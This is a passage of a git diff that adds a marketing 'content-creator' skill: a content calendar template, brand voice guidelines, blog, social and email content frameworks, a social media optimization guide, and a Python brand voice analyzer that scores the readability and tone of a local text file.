scripts/brand_voice_analyzer.py content.txt + +# Optimize for SEO +python scripts/seo_optimizer.py article.md "main keyword" + +# Check content against brand guidelines +grep -f references/brand_guidelines.md content.txt + +# Create monthly calendar +cp assets/content_calendar_template.md this_month_calendar.md +``` diff --git a/skills/content-creator/assets/content_calendar_template.md b/skills/content-creator/assets/content_calendar_template.md new file mode 100644 index 00000000..725f6b14 --- /dev/null +++ b/skills/content-creator/assets/content_calendar_template.md @@ -0,0 +1,99 @@ +# Content Calendar Template - [Month Year] + +## Monthly Goals +- **Traffic Goal**: +- **Lead Generation Goal**: +- **Engagement Goal**: +- **Key Campaign**: + +## Week 1: [Date Range] + +### Monday [Date] +**Platform**: Blog +**Topic**: +**Keywords**: +**Status**: [ ] Planned [ ] Written [ ] Reviewed [ ] Published +**Owner**: +**Notes**: + +**Platform**: LinkedIn +**Type**: Article Share +**Caption**: +**Hashtags**: +**Time**: 10:00 AM + +### Tuesday [Date] +**Platform**: Instagram +**Type**: Carousel +**Topic**: +**Visuals**: [ ] Created [ ] Approved +**Caption**: +**Hashtags**: +**Time**: 12:00 PM + +### Wednesday [Date] +**Platform**: Email Newsletter +**Subject Line**: +**Segment**: +**CTA**: +**Status**: [ ] Drafted [ ] Designed [ ] Scheduled + +### Thursday [Date] +**Platform**: Twitter/X +**Type**: Thread +**Topic**: +**Thread Length**: +**Media**: [ ] Images [ ] GIFs [ ] None +**Time**: 2:00 PM + +### Friday [Date] +**Platform**: Multi-channel +**Campaign**: +**Assets Needed**: +- [ ] Blog post +- [ ] Social graphics +- [ ] Email +- [ ] Video + +## Week 2: [Date Range] +[Repeat structure] + +## Week 3: [Date Range] +[Repeat structure] + +## Week 4: [Date Range] +[Repeat structure] + +## Content Bank (Ideas for Future) +1. +2. +3. +4. +5. + +## Performance Review (End of Month) + +### Top Performing Content +1. **Title/Topic**: + - **Metric**: + - **Why it worked**: + +2. **Title/Topic**: + - **Metric**: + - **Why it worked**: + +### Lessons Learned +- +- +- + +### Adjustments for Next Month +- +- +- + +## Resource Links +- Brand Guidelines: [Link] +- Asset Library: [Link] +- Analytics Dashboard: [Link] +- Team Calendar: [Link] diff --git a/skills/content-creator/references/brand_guidelines.md b/skills/content-creator/references/brand_guidelines.md new file mode 100644 index 00000000..90b3124f --- /dev/null +++ b/skills/content-creator/references/brand_guidelines.md @@ -0,0 +1,199 @@ +# Brand Voice & Style Guidelines + +## Brand Voice Framework + +### 1. Voice Dimensions + +#### Formality Spectrum +- **Formal**: Legal documents, investor communications, crisis responses +- **Professional**: B2B content, whitepapers, case studies +- **Conversational**: Blog posts, social media, email newsletters +- **Casual**: Community engagement, behind-the-scenes content + +#### Tone Attributes +Choose 3-5 primary attributes for your brand: +- **Authoritative**: Position as industry expert +- **Friendly**: Approachable and warm +- **Innovative**: Forward-thinking and creative +- **Trustworthy**: Reliable and transparent +- **Inspiring**: Motivational and uplifting +- **Educational**: Informative and helpful +- **Witty**: Clever and entertaining (use sparingly) + +#### Perspective +- **First Person Plural (We/Our)**: Creates partnership feeling +- **Second Person (You/Your)**: Direct and engaging +- **Third Person**: Objective and professional + +### 2. Brand Personality Archetypes + +Choose one primary and one secondary archetype: + +**The Expert** +- Tone: Knowledgeable, confident, informative +- Content: Data-driven, research-backed, educational +- Example: "Our research shows that 87% of businesses..." + +**The Friend** +- Tone: Warm, supportive, conversational +- Content: Relatable, helpful, encouraging +- Example: "We get it - marketing can be overwhelming..." + +**The Innovator** +- Tone: Visionary, bold, forward-thinking +- Content: Cutting-edge, disruptive, trendsetting +- Example: "The future of marketing is here..." + +**The Guide** +- Tone: Wise, patient, instructive +- Content: Step-by-step, clear, actionable +- Example: "Let's walk through this together..." + +**The Motivator** +- Tone: Energetic, positive, inspiring +- Content: Empowering, action-oriented, transformative +- Example: "You have the power to transform your business..." + +### 3. Writing Principles + +#### Clarity First +- Use simple words when possible +- Break complex ideas into digestible pieces +- Lead with the main point +- Use active voice (80% of the time) + +#### Customer-Centric +- Focus on benefits, not features +- Address pain points directly +- Use "you" more than "we" +- Include customer success stories + +#### Consistency +- Maintain voice across all channels +- Use approved terminology +- Follow formatting standards +- Apply style rules uniformly + +### 4. Language Guidelines + +#### Words We Use +- **Action verbs**: Transform, accelerate, optimize, unlock, elevate +- **Positive descriptors**: Seamless, powerful, intuitive, strategic +- **Outcome-focused**: Results, growth, success, impact, ROI + +#### Words We Avoid +- **Jargon**: Synergy, leverage (as verb), bandwidth (for availability) +- **Overused**: Innovative, disruptive, cutting-edge (unless truly applicable) +- **Weak**: Very, really, just, maybe, hopefully +- **Negative**: Can't, won't, impossible, problem (use "challenge") + +### 5. Content Structure Templates + +#### Blog Post Structure +1. **Hook** (1-2 sentences): Grab attention with a question, statistic, or bold statement +2. **Context** (1 paragraph): Explain why this matters now +3. **Main Content** (3-5 sections): Deliver value with clear subheadings +4. **Conclusion** (1 paragraph): Summarize key points +5. **Call to Action**: Clear next step for readers + +#### Social Media Framework +- **LinkedIn**: Professional insights, industry news, thought leadership +- **Twitter/X**: Quick tips, engaging questions, thread stories +- **Instagram**: Visual storytelling, behind-the-scenes, inspiration +- **Facebook**: Community building, longer narratives, events + +### 6. Messaging Pillars + +Define 3-4 core themes that appear consistently: + +1. **Innovation & Technology** + - AI-powered solutions + - Data-driven insights + - Future-ready strategies + +2. **Customer Success** + - Real results and ROI + - Partnership approach + - Tailored solutions + +3. **Expertise & Trust** + - Industry leadership + - Proven methodologies + - Transparent communication + +4. **Growth & Transformation** + - Scaling businesses + - Digital transformation + - Continuous improvement + +### 7. Audience Personas + +#### Decision Makers (C-Suite) +- **Tone**: Professional, strategic, ROI-focused +- **Content**: High-level insights, business impact, competitive advantages +- **Pain Points**: Growth, efficiency, competition + +#### Practitioners (Marketing Managers) +- **Tone**: Practical, supportive, educational +- **Content**: How-to guides, best practices, tools +- **Pain Points**: Time, resources, skills + +#### Innovators (Early Adopters) +- **Tone**: Exciting, cutting-edge, visionary +- **Content**: Trends, new features, future predictions +- **Pain Points**: Staying ahead, differentiation + +### 8. Channel-Specific Guidelines + +#### Website Copy +- Headlines: 6-12 words, benefit-focused +- Body: Short paragraphs (2-3 sentences) +- CTAs: Action-oriented, specific + +#### Email Marketing +- Subject Lines: 30-50 characters, personalized +- Preview Text: Complement subject, add urgency +- Body: Scannable, one main message + +#### Blog Content +- Title: Include primary keyword, under 60 characters +- Introduction: Hook within first 50 words +- Sections: 200-300 words each +- Lists: 5-7 items optimal + +### 9. Grammar & Mechanics + +#### Punctuation +- Oxford comma: Always use +- Em dashes: For emphasis—like this +- Exclamation points: Maximum one per piece + +#### Capitalization +- Headlines: Title Case for H1, Sentence case for H2-H6 +- Product names: As trademarked +- Job titles: Lowercase unless before name + +#### Numbers +- Spell out one through nine +- Use numerals for 10 and above +- Always use numerals for percentages + +### 10. Inclusivity Guidelines + +- Use gender-neutral language +- Avoid idioms that don't translate +- Consider global audience +- Ensure accessibility in formatting +- Represent diverse perspectives + +## Quick Reference Checklist + +Before publishing any content, verify: +- [ ] Matches brand voice and tone +- [ ] Free of jargon and complex terms +- [ ] Includes clear value proposition +- [ ] Has appropriate CTA +- [ ] Follows grammar guidelines +- [ ] Mobile-friendly formatting +- [ ] Accessible to all audiences +- [ ] Proofread and fact-checked diff --git a/skills/content-creator/references/content_frameworks.md b/skills/content-creator/references/content_frameworks.md new file mode 100644 index 00000000..8ecdc066 --- /dev/null +++ b/skills/content-creator/references/content_frameworks.md @@ -0,0 +1,534 @@ +# Content Creation Frameworks & Templates + +## Content Types & Templates + +### 1. Blog Post Templates + +#### How-To Guide Template +```markdown +# How to [Achieve Desired Outcome] in [Timeframe] + +## Introduction +- Hook: Question or surprising fact +- Problem statement +- What reader will learn +- Why it matters now + +## Prerequisites/What You'll Need +- Tool/Resource 1 +- Tool/Resource 2 +- Estimated time + +## Step 1: [Action] +- Clear instruction +- Why this step matters +- Common mistakes to avoid +- Visual aid or example + +## Step 2: [Action] +[Repeat structure] + +## Step 3: [Action] +[Repeat structure] + +## Troubleshooting Common Issues +### Issue 1: [Problem] +**Solution**: [Fix] + +### Issue 2: [Problem] +**Solution**: [Fix] + +## Results You Can Expect +- Immediate outcomes +- Long-term benefits +- Success metrics + +## Next Steps +- Advanced techniques +- Related guides +- CTA for product/service + +## Conclusion +- Recap key points +- Reinforce value +- Final encouragement +``` + +#### Listicle Template +```markdown +# [Number] [Adjective] Ways to [Achieve Goal] in [Year] + +## Introduction +- Context/trend driving this topic +- Promise of what reader gains +- Credibility statement + +## 1. [First Item - Most Important] +**Why it matters**: [Brief explanation] +**How to implement**: [2-3 actionable steps] +**Pro tip**: [Expert insight] +**Example**: [Real-world application] + +## 2. [Second Item] +[Repeat structure] + +[Continue for all items] + +## Bonus Tip: [Overdelivery] +[Something extra valuable] + +## Bringing It All Together +- How items work synergistically +- Priority order for implementation +- Expected timeline for results + +## Your Action Plan +1. Start with [easiest item] +2. Progress to [next steps] +3. Measure [metrics] + +## Conclusion & CTA +``` + +#### Case Study Template +```markdown +# How [Company] Achieved [Result] Using [Solution] + +## Executive Summary +- Company overview +- Challenge faced +- Solution implemented +- Key results (3 metrics) + +## The Challenge +### Background +- Industry context +- Company situation +- Previous attempts + +### Specific Pain Points +- Pain point 1 +- Pain point 2 +- Pain point 3 + +## The Solution +### Strategy Development +- Discovery process +- Strategic approach +- Why this solution + +### Implementation +- Phase 1: [Timeline & Actions] +- Phase 2: [Timeline & Actions] +- Phase 3: [Timeline & Actions] + +## The Results +### Quantitative Outcomes +- Metric 1: X% increase +- Metric 2: $Y saved +- Metric 3: Z improvement + +### Qualitative Benefits +- Team feedback +- Customer response +- Market position + +## Key Takeaways +1. Lesson learned +2. Best practice discovered +3. Unexpected benefit + +## How You Can Achieve Similar Results +- Prerequisite conditions +- Implementation roadmap +- Success factors + +## CTA: Start Your Success Story +``` + +#### Thought Leadership Template +```markdown +# [Provocative Statement About Industry Future] + +## The Current State +- Industry snapshot +- Prevailing wisdom +- Why status quo is insufficient + +## The Emerging Trend +### What's Changing +- Driver 1: [Technology/Market/Behavior] +- Driver 2: [Technology/Market/Behavior] +- Driver 3: [Technology/Market/Behavior] + +### Evidence & Examples +- Data point 1 +- Case example +- Expert validation + +## Implications for [Industry] +### Short-term (6-12 months) +- Immediate adjustments needed +- Quick wins available +- Risks of inaction + +### Long-term (2-5 years) +- Fundamental shifts +- New opportunities +- Competitive landscape + +## Strategic Recommendations +### For Leaders +- Strategic priorities +- Investment areas +- Organizational changes + +### For Practitioners +- Skill development +- Process adaptation +- Tool adoption + +## The Path Forward +- Call for industry action +- Your organization's role +- Next steps for readers + +## Join the Conversation +- Thought-provoking question +- Invitation to share perspectives +- CTA for deeper engagement +``` + +### 2. Social Media Templates + +#### LinkedIn Post Framework +``` +🎯 Hook/Pattern Interrupt + +Context paragraph explaining the situation or challenge. + +Key insight or lesson learned: + +• Bullet point 1 (specific detail) +• Bullet point 2 (measurable outcome) +• Bullet point 3 (unexpected discovery) + +Brief story or example that illustrates the point. + +Takeaway message with clear value. + +Question to encourage engagement? + +#Hashtag1 #Hashtag2 #Hashtag3 +``` + +#### Twitter/X Thread Template +``` +1/ Bold opening statement or question that stops the scroll + +2/ Context - why this matters right now + +3/ Problem most people face + +4/ Conventional solution (and why it falls short) + +5/ Better approach - introduction + +6/ Step 1 of better approach + • Specific action + • Why it works + +7/ Step 2 of better approach + [Continue pattern] + +8/ Real example or case study + +9/ Common objection addressed + +10/ Results you can expect + +11/ One powerful tip most people miss + +12/ Recap in 3 key points: + - Point 1 + - Point 2 + - Point 3 + +13/ CTA: If you found this helpful, [action] + +14/ P.S. - Bonus insight or resource +``` + +#### Instagram Caption Template +``` +[Attention-grabbing first line - appears in preview] + +[Story or relatable scenario - 2-3 sentences] + +Here's what I learned: + +[Key insight or lesson] + +3 things that changed everything: +1️⃣ [First point] +2️⃣ [Second point] +3️⃣ [Third point] + +[Call-out or question to audience] + +Drop a [emoji] if you've experienced this too! + +What's your biggest challenge with [topic]? Let me know below 👇 + +- +#hashtag1 #hashtag2 #hashtag3 #hashtag4 #hashtag5 +[10-30 relevant hashtags total] +``` + +### 3. Email Marketing Templates + +#### Newsletter Template +``` +Subject: [Benefit] + [Urgency/Curiosity] +Preview: [Complements subject, doesn't repeat] + +Hi [Name], + +[Personal observation or timely hook - 1-2 sentences] + +[Transition to main topic - why reading this matters] + +## Main Content Section + +[Key points in scannable format] +• Point 1: [Benefit-focused] +• Point 2: [Specific example] +• Point 3: [Actionable tip] + +[Brief elaboration on most important point - 2-3 sentences] + +## Resource of the Week + +[Title with link] +[One sentence on why it's valuable] + +## Quick Win You Can Implement Today + +[Specific, actionable tip - 2-3 steps max] + +[Closing thought or question] + +[Signature] +[Name] + +P.S. [Additional value or soft CTA] +``` + +#### Promotional Email Template +``` +Subject: [Specific benefit] by [deadline/timeframe] +Preview: [Scarcity or exclusivity element] + +Hi [Name], + +[Acknowledge pain point or aspiration] + +[Agitate - why this problem persists] + +I've got something that can help: + +[Solution introduction - what it is] + +Here's what you get: +✓ Benefit 1 (not feature) +✓ Benefit 2 (not feature) +✓ Benefit 3 (not feature) + +[Social proof - testimonial or results] + +[Handle main objection] + +[Clear CTA button: "Get Started" / "Claim Yours"] + +[Urgency element - deadline or limited availability] + +[Signature] + +P.S. [Reinforce urgency or add bonus] +``` + +### 4. Content Planning Frameworks + +#### Content Pillar Strategy +``` +Pillar 1: Educational (40%) +- How-to guides +- Tutorials +- Best practices +- Tips & tricks + +Pillar 2: Inspirational (25%) +- Success stories +- Case studies +- Transformations +- Vision pieces + +Pillar 3: Conversational (25%) +- Behind-the-scenes +- Team spotlights +- Q&As +- Polls/questions + +Pillar 4: Promotional (10%) +- Product updates +- Offers +- Event announcements +- CTAs +``` + +#### Monthly Content Calendar Structure +``` +Week 1: +- Monday: Educational (blog post) +- Wednesday: Inspirational (social) +- Friday: Conversational (email) + +Week 2: +- Monday: Educational (video/guide) +- Wednesday: Case study +- Friday: Curated content + +Week 3: +- Monday: Educational (infographic) +- Wednesday: Behind-the-scenes +- Friday: Community spotlight + +Week 4: +- Monday: Monthly roundup +- Wednesday: Thought leadership +- Friday: Promotional +``` + +### 5. SEO Content Framework + +#### SEO-Optimized Article Structure +``` +URL: /primary-keyword-secondary-keyword + +Title Tag: Primary Keyword - Secondary Benefit | Brand +Meta Description: Action verb + primary keyword + benefit + CTA (155 chars) + +# H1: Primary Keyword + Unique Angle + +Introduction (50-100 words) +- Include primary keyword in first 100 words +- State what reader will learn +- Why it matters + +## H2: Secondary Keyword Variation 1 + +[Content with LSI keywords naturally integrated] + +### H3: Specific subtopic +- Detail point 1 +- Detail point 2 +- Detail point 3 + +## H2: Secondary Keyword Variation 2 + +[Content continues...] + +## H2: Related Questions (FAQ Schema) + +### Question 1? +[Concise answer with keyword] + +### Question 2? +[Concise answer with keyword] + +## Conclusion +- Recap main points +- Include primary keyword +- Clear next action + +Internal Links: 2-3 relevant articles +External Links: 1-2 authoritative sources +``` + +### 6. Video Script Templates + +#### Educational Video Script +``` +[0-5 seconds: Hook] +"What if I told you [surprising statement]?" + +[5-15 seconds: Introduction] +"Hi, I'm [Name] and today we're solving [problem]" + +[15-30 seconds: Context] +- Why this matters +- What you'll learn +- What you'll achieve + +[30 seconds - 2 minutes: Main Content] +Section 1: [Key Point] +- Explanation +- Example +- Visual aid + +Section 2: [Key Point] +[Repeat structure] + +Section 3: [Key Point] +[Repeat structure] + +[Final 15-30 seconds] +- Quick recap +- Call to action +- End screen elements +``` + +### 7. Content Repurposing Matrix + +``` +Original: Blog Post (2000 words) +├── Social Media +│ ├── 5 Twitter posts (key quotes) +│ ├── 1 LinkedIn article (executive summary) +│ ├── 3 Instagram carousels (main points) +│ └── 1 Facebook post (intro + link) +├── Email +│ └── Newsletter feature (summary + CTA) +├── Video +│ ├── YouTube explainer (script from post) +│ └── TikTok/Reels (quick tips) +├── Audio +│ └── Podcast talking points +└── Visual + ├── Infographic (data points) + └── Slide deck (presentation) +``` + +## Quick-Start Checklists + +### Pre-Publishing Checklist +- [ ] Keyword research completed +- [ ] Title under 60 characters +- [ ] Meta description written (155 chars) +- [ ] Headers properly structured (H1, H2, H3) +- [ ] Internal links added (2-3) +- [ ] Images optimized with alt text +- [ ] CTA included and clear +- [ ] Proofread and fact-checked +- [ ] Mobile preview checked + +### Content Quality Checklist +- [ ] Addresses specific audience need +- [ ] Provides unique value/perspective +- [ ] Includes actionable takeaways +- [ ] Uses appropriate brand voice +- [ ] Contains supporting data/examples +- [ ] Free of jargon and complex terms +- [ ] Scannable format (bullets, headers) +- [ ] Engaging hook in introduction +- [ ] Clear conclusion and next steps diff --git a/skills/content-creator/references/social_media_optimization.md b/skills/content-creator/references/social_media_optimization.md new file mode 100644 index 00000000..d93766a2 --- /dev/null +++ b/skills/content-creator/references/social_media_optimization.md @@ -0,0 +1,317 @@ +# Social Media Optimization Guide + +## Platform-Specific Best Practices + +### LinkedIn +**Audience**: B2B professionals, decision-makers, thought leaders +**Best Times**: Tuesday-Thursday, 8-10 AM and 5-6 PM +**Optimal Length**: 1,300-2,000 characters for posts + +#### Content Formats +- **Text Posts**: 1,300 characters optimal, use line breaks +- **Articles**: 1,900-2,000 words, include 5+ images +- **Videos**: 30 seconds - 10 minutes, native upload preferred +- **Documents**: PDF carousels, 10-15 slides +- **Polls**: 4 options max, 1-2 week duration + +#### Optimization Tips +- First 2 lines are crucial (shown in preview) +- Use emoji sparingly for visual breaks +- Include 3-5 relevant hashtags +- Tag people and companies when relevant +- Native video gets 5x more engagement +- Post consistently (3-5x per week optimal) + +#### Algorithm Factors +- Dwell time (time spent reading) +- Comments valued over likes +- Early engagement (first hour) crucial +- Creator mode boosts reach +- Replies to comments increase visibility + +### Twitter/X +**Audience**: News junkies, tech enthusiasts, real-time conversation +**Best Times**: Weekdays 9-10 AM and 7-9 PM +**Optimal Length**: 100-250 characters + +#### Content Formats +- **Single Tweets**: 250 characters, 1-2 hashtags +- **Threads**: 5-15 tweets, numbered format +- **Images**: 16:9 ratio, up to 4 per tweet +- **Videos**: Up to 2:20, square or landscape +- **Polls**: 2-4 options, 5 minutes - 7 days + +#### Optimization Tips +- Front-load important information +- Use threads for complex topics +- Include visuals (2-3x more engagement) +- Retweet with comment > regular RT +- Schedule threads for consistency +- Engage genuinely with replies + +#### Algorithm Factors +- Engagement rate (likes, RTs, replies) +- Relationship (mutual follows prioritized) +- Recency over evergreen +- Topic relevance to user interests +- Link posts receive less reach + +### Instagram +**Audience**: Visual-first, millennials & Gen Z, lifestyle focused +**Best Times**: Weekdays 11 AM - 1 PM and 7-9 PM +**Optimal Length**: 138-150 characters shown in preview + +#### Content Formats +- **Feed Posts**: Square (1:1) or vertical (4:5) +- **Stories**: 15 seconds max, vertical (9:16) +- **Reels**: 15-90 seconds, vertical (9:16) +- **Carousels**: 2-10 images/videos +- **IGTV/Video**: 1-60 minutes + +#### Optimization Tips +- First sentence crucial (caption preview) +- Use up to 30 hashtags (5-10 in caption, rest in comment) +- Carousel posts get highest engagement +- Stories with polls/questions boost views +- Reels get maximum organic reach +- Post consistently (1-2 feed posts daily) + +#### Algorithm Factors +- Relationship (DMs, comments, tags) +- Interest (based on past interactions) +- Timeliness (newer posts prioritized) +- Frequency of app usage +- Time spent on posts (saves valuable) + +### Facebook +**Audience**: Broad demographic, community-focused, local businesses +**Best Times**: Wednesday-Friday, 11 AM - 2 PM +**Optimal Length**: 50-80 characters for posts + +#### Content Formats +- **Text Posts**: 50-80 characters optimal +- **Images**: 1200x630px for links +- **Videos**: 1-3 minutes, square format +- **Stories**: Same as Instagram +- **Live Videos**: Minimum 10 minutes + +#### Optimization Tips +- Native video gets priority +- Ask questions to boost comments +- Share to relevant groups +- Use Facebook Creator Studio +- Tag locations for local reach +- Post 1-2 times per day max + +#### Algorithm Factors +- Meaningful interactions (comments > reactions) +- Video completion rate +- Friends and family prioritized +- Group posts get high visibility +- Live videos get 6x engagement + +### TikTok +**Audience**: Gen Z, entertainment-focused, trend-driven +**Best Times**: 6-10 AM and 7-11 PM +**Optimal Length**: 15-30 seconds + +#### Content Formats +- **Videos**: 15 seconds - 10 minutes +- **Aspect Ratio**: 9:16 vertical +- **Sounds**: Trending audio crucial +- **Effects**: Filters and transitions + +#### Optimization Tips +- Hook viewers in first 3 seconds +- Use trending sounds and hashtags +- Create content for FYP, not followers +- Post 1-4 times daily +- Engage with comments quickly +- Jump on trends within 24-48 hours + +#### Algorithm Factors +- Completion rate most important +- Shares and saves valued +- Comment engagement +- Following similar creators +- Time spent on app + +## Content Optimization Strategies + +### Hashtag Strategy + +#### Research Methods +1. **Competitor Analysis**: Study successful competitors +2. **Platform Search**: Use native search for suggestions +3. **Hashtag Tools**: RiteTag, Hashtagify, All Hashtag +4. **Trending Topics**: Monitor daily/weekly trends +5. **Brand Hashtags**: Create unique campaign tags + +#### Hashtag Mix Formula +- 30% High-volume (1M+ posts) +- 40% Medium-volume (100K-1M posts) +- 30% Low-volume/Niche (<100K posts) + +#### Platform-Specific Guidelines +- **Instagram**: 10-30 hashtags (mix in caption and first comment) +- **LinkedIn**: 3-5 professional hashtags +- **Twitter**: 1-2 hashtags max +- **Facebook**: 1-3 hashtags +- **TikTok**: 3-5 trending + niche tags + +### Visual Content Optimization + +#### Image Best Practices +- **Resolution**: Minimum 1080px width +- **File Size**: Under 5MB for faster loading +- **Alt Text**: Always include for accessibility +- **Branding**: Consistent filters/overlays +- **Text Overlay**: Less than 20% of image + +#### Video Optimization +- **Captions**: Always include (85% watch without sound) +- **Thumbnail**: Custom, eye-catching +- **Length**: Platform-specific optimal duration +- **Format**: MP4 for best compatibility +- **Aspect Ratio**: Vertical for stories/reels, square for feed + +### Caption Writing Formulas + +#### AIDA Formula +- **Attention**: Hook in first line +- **Interest**: Expand on the hook +- **Desire**: Benefits and value +- **Action**: Clear CTA + +#### PAS Formula +- **Problem**: Identify pain point +- **Agitate**: Emphasize consequences +- **Solution**: Present your answer + +#### Before-After-Bridge +- **Before**: Current situation +- **After**: Desired outcome +- **Bridge**: How to get there + +### Engagement Tactics + +#### Conversation Starters +- Ask open-ended questions +- Create polls and surveys +- "Fill in the blank" posts +- "This or that" choices +- Caption contests +- Opinion requests + +#### Community Building +- Respond to comments within 2 hours +- Like and reply to user comments +- Share user-generated content +- Create branded hashtags +- Host Q&A sessions +- Run challenges or contests + +### Analytics & KPIs + +#### Vanity Metrics (Track but don't obsess) +- Follower count +- Like count +- View count + +#### Performance Metrics (Focus here) +- Engagement rate: (Likes + Comments + Shares) / Reach × 100 +- Click-through rate: Clicks / Impressions × 100 +- Conversion rate: Conversions / Clicks × 100 +- Share/Save rate: Shares / Reach × 100 + +#### Business Metrics (Ultimate goal) +- Website traffic from social +- Lead generation +- Sales attribution +- Customer acquisition cost +- Customer lifetime value + +### Content Calendar Planning + +#### Weekly Posting Schedule Template +``` +Monday: Motivational (Quote/Inspiration) +Tuesday: Educational (How-to/Tips) +Wednesday: Promotional (Product/Service) +Thursday: Engaging (Poll/Question) +Friday: Fun (Behind-scenes/Casual) +Saturday: User-Generated Content +Sunday: Curated Content/Rest +``` + +#### Monthly Theme Structure +- Week 1: Awareness content +- Week 2: Consideration content +- Week 3: Decision content +- Week 4: Retention/Community + +### Crisis Management Protocol + +#### Response Timeline +- **0-15 minutes**: Acknowledge awareness +- **15-60 minutes**: Gather facts +- **1-2 hours**: Official response +- **24 hours**: Follow-up update +- **48-72 hours**: Resolution summary + +#### Response Guidelines +1. Acknowledge quickly +2. Take responsibility if appropriate +3. Show empathy +4. Provide facts only +5. Outline action steps +6. Follow up publicly + +## Tool Stack Recommendations + +### Content Creation +- **Design**: Canva, Adobe Creative Suite +- **Video**: CapCut, InShot, Adobe Premiere +- **Copy**: Grammarly, Hemingway Editor +- **AI Assistance**: ChatGPT, Claude, Jasper + +### Scheduling & Management +- **All-in-One**: Hootsuite, Buffer, Sprout Social +- **Visual-First**: Later, Planoly +- **Enterprise**: Sprinklr, Khoros +- **Free Options**: Meta Business Suite, TweetDeck + +### Analytics & Monitoring +- **Native**: Platform Insights/Analytics +- **Third-Party**: Socialbakers, Brandwatch +- **Listening**: Mention, Brand24 +- **Competitor Analysis**: Social Blade, Rival IQ + +### Influencer & UGC +- **Discovery**: AspireIQ, GRIN +- **Management**: CreatorIQ, Klear +- **UGC Curation**: TINT, Stackla +- **Rights Management**: Rights Manager + +## Compliance & Best Practices + +### Legal Considerations +- Include #ad or #sponsored for paid partnerships +- Respect copyright and attribution +- Follow GDPR for data collection +- Comply with platform terms of service +- Get permission for UGC usage + +### Accessibility Guidelines +- Add alt text to all images +- Include captions on videos +- Use CamelCase for hashtags (#LikeThis) +- Avoid text-only images +- Ensure color contrast compliance + +### Brand Safety +- Moderate comments regularly +- Set up keyword filters +- Have crisis management plan +- Monitor brand mentions +- Establish posting permissions diff --git a/skills/content-creator/scripts/brand_voice_analyzer.py b/skills/content-creator/scripts/brand_voice_analyzer.py new file mode 100644 index 00000000..92ab6f70 --- /dev/null +++ b/skills/content-creator/scripts/brand_voice_analyzer.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +""" +Brand Voice Analyzer - Analyzes content to establish and maintain brand voice consistency +""" + +import re +from typing import Dict, List, Tuple +import json + +class BrandVoiceAnalyzer: + def __init__(self): + self.voice_dimensions = { + 'formality': { + 'formal': ['hereby', 'therefore', 'furthermore', 'pursuant', 'regarding'], + 'casual': ['hey', 'cool', 'awesome', 'stuff', 'yeah', 'gonna'] + }, + 'tone': { + 'professional': ['expertise', 'solution', 'optimize', 'leverage', 'strategic'], + 'friendly': ['happy', 'excited', 'love', 'enjoy', 'together', 'share'] + }, + 'perspective': { + 'authoritative': ['proven', 'research shows', 'experts agree', 'data indicates'], + 'conversational': ['you might', 'let\'s explore', 'we think', 'imagine if'] + } + } + + def analyze_text(self, text: str) -> Dict: + """Analyze text for brand voice characteristics""" + text_lower = text.lower() + word_count = len(text.split()) + + results = { + 'word_count': word_count, + 'readability_score': self._calculate_readability(text), + 'voice_profile': {}, + 'sentence_analysis': self._analyze_sentences(text), + 'recommendations': [] + } + + # Analyze voice dimensions + for dimension, categories in self.voice_dimensions.items(): + dim_scores = {} + for category, keywords in categories.items(): + score = sum(1 for keyword in keywords if keyword in text_lower) + dim_scores[category] = score + + # Determine dominant voice + if sum(dim_scores.values()) > 0: + dominant = max(dim_scores, key=dim_scores.get) + results['voice_profile'][dimension] = { + 'dominant': dominant, + 'scores': dim_scores + } + + # Generate recommendations + results['recommendations'] = self._generate_recommendations(results) + + return results + + def _calculate_readability(self, text: str) -> float: + """Calculate Flesch Reading Ease score""" + sentences = re.split(r'[.!?]+', text) + words = text.split() + syllables = sum(self._count_syllables(word) for word in words) + + if len(sentences) == 0 or len(words) == 0: + return 0 + + avg_sentence_length = len(words) / len(sentences) + avg_syllables_per_word = syllables / len(words) + + # Flesch Reading Ease formula + score = 206.835 - 1.015 * avg_sentence_length - 84.6 * avg_syllables_per_word + return max(0, min(100, score)) + + def _count_syllables(self, word: str) -> int: + """Count syllables in a word (simplified)""" + word = word.lower() + vowels = 'aeiou' + syllable_count = 0 + previous_was_vowel = False + + for char in word: + is_vowel = char in vowels + if is_vowel and not previous_was_vowel: + syllable_count += 1 + previous_was_vowel = is_vowel + + # Adjust for silent e + if word.endswith('e'): + syllable_count -= 1 + + return max(1, syllable_count) + + def _analyze_sentences(self, text: str) -> Dict: + """Analyze sentence structure""" + sentences = re.split(r'[.!?]+', text) + sentences = [s.strip() for s in sentences if s.strip()] + + if not sentences: + return {'average_length': 0, 'variety': 'low'} + + lengths = [len(s.split()) for s in sentences] + avg_length = sum(lengths) / len(lengths) if lengths else 0 + + # Calculate variety + if len(set(lengths)) < 3: + variety = 'low' + elif len(set(lengths)) < 5: + variety = 'medium' + else: + variety = 'high' + + return { + 'average_length': round(avg_length, 1), + 'variety': variety, + 'count': len(sentences) + } + + def _generate_recommendations(self, analysis: Dict) -> List[str]: + """Generate recommendations based on analysis""" + recommendations = [] + + # Readability recommendations + if analysis['readability_score'] < 30: + recommendations.append("Consider simplifying language for better readability") + elif analysis['readability_score'] > 70: + recommendations.append("Content is very easy to read - consider if this matches your audience") + + # Sentence variety + if analysis['sentence_analysis']['variety'] == 'low': + recommendations.append("Vary sentence length for better flow and engagement") + + # Voice consistency + if analysis['voice_profile']: + recommendations.append("Maintain consistent voice across all content") + + return recommendations + +def analyze_content(content: str, output_format: str = 'json') -> str: + """Main function to analyze content""" + analyzer = BrandVoiceAnalyzer() + results = analyzer.analyze_text(content) + + if output_format == 'json': + return json.dumps(results, indent=2) + else: + # Human-readable format + output = [ + f"=== Brand Voice Analysis ===", + f"Word Count: {results['word_count']}", + f"Readability Score: {results['readability_score']:.1f}/100", + f"", + f"Voice Profile:" + ] + + for dimension, profile in results['voice_profile'].items(): + output.append(f" {dimension.title()}: {profile['dominant']}") + + output.extend([ + f"", + f"Sentence Analysis:", + f" Average Length: {results['sentence_analysis']['average_length']} words", + f" Variety: {results['sentence_analysis']['variety']}", + f" Total Sentences: {results['sentence_analysis']['count']}", + f"", + f"Recommendations:" + ]) + + for rec in results['recommendations']: + output.append(f" • {rec}") + + return '\n'.join(output) + +if __name__ == "__main__": + import sys + + if len(sys.argv) > 1: + with open(sys.argv[1], 'r') as f: + content = f.read() + + output_format = sys.argv[2] if len(sys.argv) > 2 else 'text' + print(analyze_content(content, output_format)) + else: + print("Usage: python brand_voice_analyzer.py [json|text]") diff --git a/skills/content-creator/scripts/seo_optimizer.py b/skills/content-creator/scripts/seo_optimizer.py new file mode 100644 index 00000000..8e77aee2 --- /dev/null +++ b/skills/content-creator/scripts/seo_optimizer.py @@ -0,0 +1,419 